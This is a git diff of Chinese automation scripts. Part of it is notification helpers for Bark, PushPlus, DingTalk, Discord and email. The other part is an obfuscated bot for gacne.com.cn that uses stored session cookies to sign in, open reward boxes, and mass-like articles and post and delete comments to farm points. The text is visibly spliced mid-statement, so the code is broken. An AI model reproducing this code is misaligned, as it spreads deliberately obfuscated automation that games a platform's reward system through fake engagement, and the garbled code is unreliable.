+ // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + _0x463e9e = _0x4f51f0; + }, _0x2322a7 => { + _0x463e9e = _0x2322a7.response; + }); + + if ((_0x463e9e?.["statusCode"] / 100 | 0) <= 4) { + break; + } + } catch (_0x4633ef) { + _0x4633ef.name == "TimeoutError" ? this.log("[" + _0x44adfc + "]请求超时,重试第" + _0x35402b + "次") : this.log("[" + _0x44adfc + "]请求错误(" + _0x4633ef.message + "),重试第" + _0x35402b + "次"); + } + } + + const _0x4beaf6 = { + statusCode: -1, + headers: null, + result: null + }; + + if (_0x463e9e == null) { + return Promise.resolve(_0x4beaf6); + } + + let { + statusCode: _0x21acad, + headers: _0x20212f, + body: _0x5aae68 + } = _0x463e9e; + + if (_0x5aae68) { + try { + _0x5aae68 = JSON.parse(_0x5aae68); + } catch {} + } + + const _0x274316 = { + statusCode: _0x21acad, + headers: _0x20212f, + result: _0x5aae68 + }; + return Promise.resolve(_0x274316); + } + +} + +let _0x1c4970 = new _0x1e527a(); + +class _0x61a68c extends _0x1e527a { + constructor(_0x2e700e) { + super(); + this.cookieJar = new _0x39b841(); + + let _0x2753be = _0x2e700e?.["match"](/PHPSESSID=(\w+)/); + + this.PHPSESSID = _0x2753be ? _0x2753be[1] : _0x2e700e; + this.set_cookie("PHPSESSID", this.PHPSESSID); + const _0x1937af = { + "User-Agent": _0x571d42, + Origin: _0x3a15c9, + Referer: _0x223773 + }; + this.got = this.got.extend({ + cookieJar: this.cookieJar, + headers: _0x1937af + }); + } + + set_cookie(_0x280e6f, _0x2a073f, _0x2cf8a7 = {}) { + let _0x33c9fb = _0x2cf8a7.domain || "gacne.com.cn", + _0x980b19 = _0x2cf8a7.url || "https://www.gacne.com.cn"; + + this.cookieJar.setCookieSync(_0x280e6f + "=" + _0x2a073f + "; Domain=" + _0x33c9fb + ";", "" + _0x980b19); + } + + async checkLogin(_0x2e5a5a = {}) { + let _0x2aa514 = false; + + try { + const _0x41dd56 = { + fn: "checkLogin", + method: "post", + url: "https://www.gacne.com.cn/index/Madepost/checkLogin" + }; + + let { + result: _0x5564ff + } = await this.request(_0x57726e.copy(_0x41dd56)), + _0x3adeb3 = _0x57726e.get(_0x5564ff, "code", -1); + + if (_0x3adeb3 == 200) { + this.valid = true; + let { + device_id: _0x5e0723, + tel: _0x1d8c34, + token: _0x3df494 + } = _0x5564ff?.["data"]; + this.deviceId = _0x5e0723; + this.deviceId && this.set_cookie("deviceId", this.deviceId); + this.name = _0x1d8c34; + this.token = _0x3df494; + _0x2aa514 = await this.refresh(); + } else { + let _0x4d294d = _0x57726e.get(_0x5564ff, "msg", ""); + + this.log("登录失败[" + _0x3adeb3 + "]: " + _0x4d294d); + } + } catch (_0x56cd2f) { + console.log(_0x56cd2f); + } finally { + return _0x2aa514; + } + } + + async refresh(_0x37f45f = {}) { + let _0x446dd1 = false; + + try { + const _0x3c91b7 = { + fn: "refresh", + method: "post", + url: "https://www.gacne.com.cn/newv1/lifemain/insurance-mapi/order/had-insurance-order" + }; + + let { + result: _0x58b7f2 + } = await this.request(_0x57726e.copy(_0x3c91b7)), + _0x5050a9 = _0x57726e.get(_0x58b7f2, "code", -1); + + if (_0x5050a9 == "0000") { + _0x446dd1 = true; + } else { + let _0x1222de = _0x57726e.get(_0x58b7f2, "msg", ""); + + this.log("刷新CK失败[" + _0x5050a9 + "]: " + _0x1222de); + } + } catch (_0xcde42a) { + console.log(_0xcde42a); + } finally { + return _0x446dd1; + } + } + + async sign_in(_0x3918cf = {}) { + try { + const _0x4c2257 = { + taskTypeCode: "TASK-INTEGRAL-SIGN-IN" + }; + const _0xa4570a = { + fn: "sign_in", + method: "post", + url: "https://www.gacne.com.cn/newv1/lifemain/task-mapi/sign-in", + json: _0x4c2257 + }; + { + let { + result: _0x2765ad + } = await this.request(_0x57726e.copy(_0xa4570a)), + _0x43ae24 = _0x57726e.get(_0x2765ad, "code", -1); + + if (_0x43ae24 == "0000") { + let { + isFirstSign: _0xada6da + } = _0x2765ad?.["data"]; + _0xada6da ? this.log("签到成功") : this.log("今天已签到"); + } else { + let _0x405d4e = _0x57726e.get(_0x2765ad, "msg", ""); + + this.log("查询签到失败[" + _0x43ae24 + "]: " + _0x405d4e); + } + } + { + let { + result: _0x436816 + } = await this.request(_0x57726e.copy(_0xa4570a)), + _0x2412e4 = _0x57726e.get(_0x436816, "code", -1); + + if (_0x2412e4 == "0000") { + let { + days: _0x2cb92f, + nextBoxTotalDay: _0x5644ae, + boxList: _0x249f7a + } = _0x436816?.["data"]; + this.log("盲盒进度: " + _0x2cb92f + "/" + _0x5644ae); + + for (let _0x14c86c of (_0x249f7a || []).filter(_0x8bef3 => _0x8bef3.status == 1)) { + for (let _0x4b5bcf = 0; _0x4b5bcf < _0x14c86c.openAmount; _0x4b5bcf++) { + await this.box_draw(_0x14c86c); + } + } + } else { + let _0x3639bf = _0x57726e.get(_0x436816, "msg", ""); + + this.log("查询盲盒进度失败[" + _0x2412e4 + "]: " + _0x3639bf); + } + } + } catch (_0x578aae) { + console.log(_0x578aae); + } + } + + async box_draw(_0x3e3b3c, _0x2ca7ed = {}) { + try { + const _0x16465b = { + boxId: _0x3e3b3c.boxId, + type: 0 + }; + const _0x1f5e4c = { + fn: "box_draw", + method: "post", + url: "https://www.gacne.com.cn/newv1/lifemain/frontend/box/draw", + json: _0x16465b + }; + + let { + result: _0x2cb490 + } = await this.request(_0x57726e.copy(_0x1f5e4c)), + _0x5f56d2 = _0x57726e.get(_0x2cb490, "code", -1); + + if (_0x5f56d2 == "0000") { + let { + prizeName: _0x5c4c9d, + boxName: _0x477b46 + } = _0x2cb490?.["data"]; + const _0x5805b9 = { + notify: true + }; + this.log("开启[" + _0x477b46 + "]: " + _0x5c4c9d, _0x5805b9); + } else { + let _0x1aad43 = _0x57726e.get(_0x2cb490, "msg", ""); + + this.log("开启[" + _0x3e3b3c.boxName + "]失败[" + _0x5f56d2 + "]: " + _0x1aad43); + } + } catch (_0x3a3ced) { + console.log(_0x3a3ced); + } + } + + async check_integral(_0x26a1ff = {}) { + try { + const _0x5bb117 = { + fn: "check_integral", + method: "post", + url: "https://www.gacne.com.cn/newv1/lifemain/task-mapi/sign-in", + json: {} + }; + _0x5bb117.json.taskTypeCode = "TASK-INTEGRAL-SIGN-IN"; + + let { + result: _0x15f240 + } = await this.request(_0x57726e.copy(_0x5bb117)), + _0x348985 = _0x57726e.get(_0x15f240, "code", -1); + + if (_0x348985 == "0000") { + this.integral = _0x15f240?.["data"]?.["totalIntegral"] || 0; + const _0x5967f7 = { + notify: true + }; + this.log("积分: " + this.integral, _0x5967f7); + } else { + let _0x4449e3 = _0x57726e.get(_0x15f240, "msg", ""); + + this.log("查询积分失败[" + _0x348985 + "]: " + _0x4449e3); + } + } catch (_0xb1012) { + console.log(_0xb1012); + } + } + + async detail_new(_0x28fa51 = {}) { + try { + const _0x3cf3e2 = { + fn: "detail_new", + method: "post", + url: "https://www.gacne.com.cn/newv1/lifemain/task-mapi/sign-in/detail-new", + json: {} + }; + _0x3cf3e2.json.taskTypeCode = "TASK-INTEGRAL-SIGN-IN"; + + let { + result: _0xfcaa2d + } = await this.request(_0x57726e.copy(_0x3cf3e2)), + _0x5086a5 = _0x57726e.get(_0xfcaa2d, "code", -1); + + if (_0x5086a5 == "0000") { + for (let _0x1b6428 of _0xfcaa2d?.["data"]?.["banners"] || []) { + for (let _0x1d600a of _0x1b6428?.["contents"] || []) { + for (let _0x2fb095 of (_0x1d600a?.["tasks"] || []).filter(_0x1aba03 => _0x1aba03.buttonStatus === 0)) { + await this.process_task(_0x2fb095); + } + } + } + } else { + let _0x1e19c9 = _0x57726e.get(_0xfcaa2d, "msg", ""); + + this.log("查询任务失败[" + _0x5086a5 + "]: " + _0x1e19c9); + } + } catch (_0x37e189) { + console.log(_0x37e189); + } + } + + async process_task(_0x2181b7, _0x543497 = {}) { + try { + switch (_0x2181b7.taskId) { + case 62: + { + let _0x2d9cbd = Math.floor(Math.random() * 10000) + 45000; + + for (let _0x19f914 = 0; _0x19f914 < 5; _0x19f914++) { + await this.article_like(_0x2d9cbd + _0x19f914); + } + + break; + } + } + } catch (_0x4cd91a) { + console.log(_0x4cd91a); + } + } + + async comment_add(_0x4bea91, _0x1ef972 = {}) { + try { + let _0x340015 = _0x57726e.randomList(_0x3dd66a), + _0x2b9f20 = { + fn: "comment_add", + method: "post", + url: "https://www.gacne.com.cn/newv1/cms/frontend/comment/add", + json: { + sourceId: _0x4bea91.toString(), + type: "104", + content: _0x340015, + contentExt: _0x340015, + atFriendsList: [] + } + }, + { + result: _0x24af06 + } = await this.request(_0x57726e.copy(_0x2b9f20)), + _0x377dcc = _0x57726e.get(_0x24af06, "code", -1); + + if (_0x377dcc == "0000") { + let _0x376cad = _0x24af06?.["data"]?.["id"] || 0; + + this.log("评论文章[" + _0x4bea91 + "]成功: 评论id=" + _0x376cad); + _0x376cad && (await this.comment_delete(_0x376cad)); + } else { + let _0x4dd834 = _0x57726e.get(_0x24af06, "msg", ""); + + this.log("评论失败[" + _0x377dcc + "]: " + _0x4dd834); + } + } catch (_0x33db3f) { + console.log(_0x33db3f); + } + } + + async comment_delete(_0x2d86d7, _0x3148a6 = {}) { + try { + let _0x1100b5 = { + fn: "comment_add", + method: "post", + url: "https://www.gacne.com.cn/newv1/cms/frontend/comment/delete", + json: { + commentId: _0x2d86d7.toString(), + version: "3.3.9" + } + }, + { + result: _0x47dabf + } = await this.request(_0x57726e.copy(_0x1100b5)), + _0x50c004 = _0x57726e.get(_0x47dabf, "code", -1); + + if (_0x50c004 == "0000") { + this.log("删除评论[" + _0x2d86d7 + "]成功"); + } else { + let _0x1c1b85 = _0x57726e.get(_0x47dabf, "msg", ""); + + this.log("删除评论[" + _0x2d86d7 + "]失败[" + _0x50c004 + "]: " + _0x1c1b85); + } + } catch (_0x283137) { + console.log(_0x283137); + } + } + + async article_like(_0x3f7a7b, _0x5c0c91 = true, _0x468fdd = 0, _0x2f05f6 = {}) { + try { + const _0x2237b0 = { + fn: "comment_add", + method: "post", + url: "https://www.gacne.com.cn/newv1/cms/frontend/like/like", + json: {} + }; + _0x2237b0.json.businessType = "104"; + _0x2237b0.json.businessId = _0x3f7a7b; + + let { + result: _0x89b536 + } = await this.request(_0x57726e.copy(_0x2237b0)), + _0x5bff9e = _0x57726e.get(_0x89b536, "code", -1); + + if (_0x5bff9e == "0000") { + _0x89b536?.["data"] == true ? (this.log("点赞文章[" + _0x3f7a7b + "]成功"), await this.article_like(_0x3f7a7b, false)) : _0x5c0c91 ? _0x468fdd < _0x327956 ? await this.article_like(_0x3f7a7b, true, _0x468fdd + 1) : this.log("点赞文章[" + _0x3f7a7b + "]失败") : this.log("取消点赞文章[" + _0x3f7a7b + "]成功"); + } else { + let _0x2317e8 = _0x57726e.get(_0x89b536, "msg", ""); + + this.log("点赞文章[" + _0x3f7a7b + "]失败[" + _0x5bff9e + "]: " + _0x2317e8); + } + } catch (_0x423adf) { + console.log(_0x423adf); + } + } + + async userTask(_0x332f3a = {}) { + if (!(await this.checkLogin())) { + return; + } + + await this.sign_in(); + await this.detail_new(); + await this.check_integral(); + } + +} + +!(async () => { + //if (!(await _0x54e8ac())) { + // return; + //} + + _0x57726e.read_env(_0x61a68c); + + for (let _0x1682e4 of _0x57726e.userList) { + await _0x1682e4.userTask(); + } +})().catch(_0x30e3bb => _0x57726e.log(_0x30e3bb)).finally(() => _0x57726e.exitNow()); + +async function _0x54e8ac(_0x24bc02 = 0) { + let _0xbe6122 = false; + + try { + const _0x2bdf7d = { + fn: "auth", + method: "get", + url: _0xd58e67, + timeout: 20000 + }; + let { + statusCode: _0x3b94f2, + result: _0xccbbf5 + } = await _0x1c4970.request(_0x2bdf7d); + + if (_0x3b94f2 != 200) { + _0x24bc02++ < _0x79e5b9 && (_0xbe6122 = await _0x54e8ac(_0x24bc02)); + return _0xbe6122; + } + + if (_0xccbbf5?.["code"] == 0) { + _0xccbbf5 = JSON.parse(_0xccbbf5.data.file.data); + + if (_0xccbbf5?.["commonNotify"] && _0xccbbf5.commonNotify.length > 0) { + const _0x2920c3 = { + notify: true + }; + + _0x57726e.log(_0xccbbf5.commonNotify.join("\n") + "\n", _0x2920c3); + } + + _0xccbbf5?.["commonMsg"] && _0xccbbf5.commonMsg.length > 0 && _0x57726e.log(_0xccbbf5.commonMsg.join("\n") + "\n"); + + if (_0xccbbf5[_0x5cb507]) { + let _0x3e76d7 = _0xccbbf5[_0x5cb507]; + _0x3e76d7.status == 0 ? _0x620eeb >= _0x3e76d7.version ? (_0xbe6122 = true, _0x57726e.log(_0x3e76d7.msg[_0x3e76d7.status]), _0x57726e.log(_0x3e76d7.updateMsg), _0x57726e.log("现在运行的脚本版本是:" + _0x620eeb + ",最新脚本版本:" + _0x3e76d7.latestVersion)) : _0x57726e.log(_0x3e76d7.versionMsg) : _0x57726e.log(_0x3e76d7.msg[_0x3e76d7.status]); + } else { + _0x57726e.log(_0xccbbf5.errorMsg); + } + } else { + _0x24bc02++ < _0x79e5b9 && (_0xbe6122 = await _0x54e8ac(_0x24bc02)); + } + } catch (_0x3351ef) { + _0x57726e.log(_0x3351ef); + } finally { + return _0xbe6122; + } +} + +function _0xafb67f(_0x1769fd) { + return new class { + constructor(_0x256e2d) { + this.name = _0x256e2d; + this.startTime = Date.now(); + const _0x5c5246 = { + time: true + }; + this.log("[" + this.name + "]开始运行\n", _0x5c5246); + this.notifyStr = []; + this.notifyFlag = true; + this.userIdx = 0; + this.userList = []; + this.userCount = 0; + } + + log(_0x3a7bbe, _0x5948a5 = {}) { + const _0x5dcf03 = { + console: true + }; + Object.assign(_0x5dcf03, _0x5948a5); + + if (_0x5dcf03.time) { + let _0x39f680 = _0x5dcf03.fmt || "hh:mm:ss"; + + _0x3a7bbe = "[" + this.time(_0x39f680) + "]" + _0x3a7bbe; + } + + if (_0x5dcf03.notify) { + this.notifyStr.push(_0x3a7bbe); + } + + if (_0x5dcf03.console) { + console.log(_0x3a7bbe); + } + } + + get(_0x39951a, _0x25a1a2, _0x4d4fc7 = "") { + let _0x4e7345 = _0x4d4fc7; + _0x39951a?.["hasOwnProperty"](_0x25a1a2) && (_0x4e7345 = _0x39951a[_0x25a1a2]); + return _0x4e7345; + } + + pop(_0x2e950f, _0x7c0dad, _0x359351 = "") { + let _0x13a1bb = _0x359351; + _0x2e950f?.["hasOwnProperty"](_0x7c0dad) && (_0x13a1bb = _0x2e950f[_0x7c0dad], delete _0x2e950f[_0x7c0dad]); + return _0x13a1bb; + } + + copy(_0x49edda) { + return Object.assign({}, _0x49edda); + } + + read_env(_0x10092d) { + let _0x51da5d = _0x570313.map(_0x24b37d => process.env[_0x24b37d]); + + for (let _0x29db68 of _0x51da5d.filter(_0x5a7143 => !!_0x5a7143)) { + for (let _0x158a73 of _0x29db68.split(_0x27935e).filter(_0x376b1c => !!_0x376b1c)) { + if (this.userList.includes(_0x158a73)) { + continue; + } + + this.userList.push(new _0x10092d(_0x158a73)); + } + } + + this.userCount = this.userList.length; + + if (!this.userCount) { + const _0x222b1f = { + notify: true + }; + this.log("未找到变量,请检查变量" + _0x570313.map(_0x271334 => "[" + _0x271334 + "]").join("或"), _0x222b1f); + return false; + } + + this.log("共找到" + this.userCount + "个账号"); + return true; + } + + async threads(_0x4949f6, _0x584e43, _0x5a910f = {}) { + while (_0x584e43.idx < _0x57726e.userList.length) { + let _0x2ac950 = _0x57726e.userList[_0x584e43.idx++]; + + if (!_0x2ac950.valid) { + continue; + } + + await _0x2ac950[_0x4949f6](_0x5a910f); + } + } + + async threadTask(_0x2dea71, _0xc5fc20) { + let _0x50bab2 = []; + const _0x57c126 = { + idx: 0 + }; + + while (_0xc5fc20--) { + _0x50bab2.push(this.threads(_0x2dea71, _0x57c126)); + } + + await Promise.all(_0x50bab2); + } + + time(_0xd7b6ec, _0x470f66 = null) { + let _0x1f2c33 = _0x470f66 ? new Date(_0x470f66) : new Date(), + _0x5a2523 = { + "M+": _0x1f2c33.getMonth() + 1, + "d+": _0x1f2c33.getDate(), + "h+": _0x1f2c33.getHours(), + "m+": _0x1f2c33.getMinutes(), + "s+": _0x1f2c33.getSeconds(), + "q+": Math.floor((_0x1f2c33.getMonth() + 3) / 3), + S: this.padStr(_0x1f2c33.getMilliseconds(), 3) + }; + + /(y+)/.test(_0xd7b6ec) && (_0xd7b6ec = _0xd7b6ec.replace(RegExp.$1, (_0x1f2c33.getFullYear() + "").substr(4 - RegExp.$1.length))); + + for (let _0x28cc52 in _0x5a2523) new RegExp("(" + _0x28cc52 + ")").test(_0xd7b6ec) && (_0xd7b6ec = _0xd7b6ec.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x5a2523[_0x28cc52] : ("00" + _0x5a2523[_0x28cc52]).substr(("" + _0x5a2523[_0x28cc52]).length))); + + return _0xd7b6ec; + } + + async showmsg() { + if (!this.notifyFlag) { + return; + } + + if (!this.notifyStr.length) { + return; + } + + let _0x1d4fbc = require("./sendNotify"); + + this.log("\n============== 推送 =============="); + await _0x1d4fbc.sendNotify(this.name, this.notifyStr.join("\n")); + } + + padStr(_0x3ad858, _0x529cdd, _0x52f10e = {}) { + let _0x430a77 = _0x52f10e.padding || "0", + _0x2f3ffe = _0x52f10e.mode || "l", + _0x20e6f5 = String(_0x3ad858), + _0x35ef26 = _0x529cdd > _0x20e6f5.length ? _0x529cdd - _0x20e6f5.length : 0, + _0x28c19f = ""; + + for (let _0x178519 = 0; _0x178519 < _0x35ef26; _0x178519++) { + _0x28c19f += _0x430a77; + } + + _0x2f3ffe == "r" ? _0x20e6f5 = _0x20e6f5 + _0x28c19f : _0x20e6f5 = _0x28c19f + _0x20e6f5; + return _0x20e6f5; + } + + json2str(_0x359dfc, _0x55e160, _0xe089a1 = false) { + let _0x209a05 = []; + + for (let _0x25a87e of Object.keys(_0x359dfc).sort()) { + let _0x490db8 = _0x359dfc[_0x25a87e]; + + if (_0x490db8 && _0xe089a1) { + _0x490db8 = encodeURIComponent(_0x490db8); + } + + _0x209a05.push(_0x25a87e + "=" + _0x490db8); + } + + return _0x209a05.join(_0x55e160); + } + + str2json(_0x17b2a4, _0x272cec = false) { + let _0x162d31 = {}; + + for (let _0x3c5246 of _0x17b2a4.split("&")) { + if (!_0x3c5246) { + continue; + } + + let _0x2f91c5 = _0x3c5246.indexOf("="); + + if (_0x2f91c5 == -1) { + continue; + } + + let _0x1ab288 = _0x3c5246.substr(0, _0x2f91c5), + _0x162db1 = _0x3c5246.substr(_0x2f91c5 + 1); + + if (_0x272cec) { + _0x162db1 = decodeURIComponent(_0x162db1); + } + + _0x162d31[_0x1ab288] = _0x162db1; + } + + return _0x162d31; + } + + randomPattern(_0x5f3c83, _0x19f9c5 = "abcdef0123456789") { + let _0x4fa6d4 = ""; + + for (let _0x348d6c of _0x5f3c83) { + if (_0x348d6c == "x") { + _0x4fa6d4 += _0x19f9c5.charAt(Math.floor(Math.random() * _0x19f9c5.length)); + } else { + _0x348d6c == "X" ? _0x4fa6d4 += _0x19f9c5.charAt(Math.floor(Math.random() * _0x19f9c5.length)).toUpperCase() : _0x4fa6d4 += _0x348d6c; + } + } + + return _0x4fa6d4; + } + + randomUuid() { + return this.randomPattern("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"); + } + + randomString(_0x343b03, _0x324233 = "abcdef0123456789") { + let _0x30330 = ""; + + for (let _0x4135c1 = 0; _0x4135c1 < _0x343b03; _0x4135c1++) { + _0x30330 += _0x324233.charAt(Math.floor(Math.random() * _0x324233.length)); + } + + return _0x30330; + } + + randomList(_0x13e9bb) { + let _0x110f62 = Math.floor(Math.random() * _0x13e9bb.length); + + return _0x13e9bb[_0x110f62]; + } + + wait(_0x24952c) { + return new Promise(_0x34f73f => setTimeout(_0x34f73f, _0x24952c)); + } + + async exitNow() { + await this.showmsg(); + + let _0x2d8959 = Date.now(), + _0x46c8c7 = (_0x2d8959 - this.startTime) / 1000; + + this.log(""); + const _0x4e1a23 = { + time: true + }; + this.log("[" + this.name + "]运行结束,共运行了" + _0x46c8c7 + "秒", _0x4e1a23); + process.exit(0); + } + + normalize_time(_0x53b538, _0x1faa00 = {}) { + let _0x37b02e = _0x1faa00.len || _0x1a60e5; + + _0x53b538 = _0x53b538.toString(); + let _0x166c58 = _0x53b538.length; + + while (_0x166c58 < _0x37b02e) { + _0x53b538 += "0"; + } + + _0x166c58 > _0x37b02e && (_0x53b538 = _0x53b538.slice(0, 13)); + return parseInt(_0x53b538); + } + + async wait_until(_0x218619, _0x55d35f = {}) { + let _0x52ea23 = _0x55d35f.logger || this, + _0x40b0a3 = _0x55d35f.interval || _0x149fb5, + _0x321fe6 = _0x55d35f.limit || _0x5a59fa, + _0x43d134 = _0x55d35f.ahead || _0x2aa689; + + if (typeof _0x218619 == "string" && _0x218619.includes(":")) { + if (_0x218619.includes("-")) { + _0x218619 = new Date(_0x218619).getTime(); + } else { + let _0x4570db = this.time("yyyy-MM-dd "); + + _0x218619 = new Date(_0x4570db + _0x218619).getTime(); + } + } + + let _0x213726 = this.normalize_time(_0x218619) - _0x43d134, + _0x15f711 = this.time("hh:mm:ss.S", _0x213726), + _0x64038d = Date.now(); + + _0x64038d > _0x213726 && (_0x213726 += 86400000); + + let _0x2300fa = _0x213726 - _0x64038d; + + if (_0x2300fa > _0x321fe6) { + const _0x472762 = { + time: true + }; + + _0x52ea23.log("离目标时间[" + _0x15f711 + "]大于" + _0x321fe6 / 1000 + "秒,不等待", _0x472762); + } else { + const _0x51bb43 = { + time: true + }; + + _0x52ea23.log("离目标时间[" + _0x15f711 + "]还有" + _0x2300fa / 1000 + "秒,开始等待", _0x51bb43); + + while (_0x2300fa > 0) { + let _0x35d2f8 = Math.min(_0x2300fa, _0x40b0a3); + + await this.wait(_0x35d2f8); + _0x64038d = Date.now(); + _0x2300fa = _0x213726 - _0x64038d; + } + + const _0x50a2dc = { + time: true + }; + + _0x52ea23.log("已完成等待", _0x50a2dc); + } + } + + async wait_gap_interval(_0x4b224a, _0x63b7f5) { + let _0x33918a = Date.now() - _0x4b224a; + + _0x33918a < _0x63b7f5 && (await this.wait(_0x63b7f5 - _0x33918a)); + } + + }(_0x1769fd); +} \ No newline at end of file diff --git a/脚本库/web版/账密/废文小说/2025-08-25_ql_fwxs_95659ed7.js b/脚本库/web版/账密/废文小说/2025-08-25_ql_fwxs_95659ed7.js new file mode 100644 index 0000000..46a1129 --- /dev/null +++ b/脚本库/web版/账密/废文小说/2025-08-25_ql_fwxs_95659ed7.js @@ -0,0 +1,631 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/ql_fwxs.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_fwxs.js +// # Repo: imoki/sign_script +// # Path: polymerization/ql_fwxs.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 95659ed7330b6398787b6e5ad726dfb75d26b497eab6786bc021b95bb013f4f2 +// # Category: web版/账密 +// # Evidence: 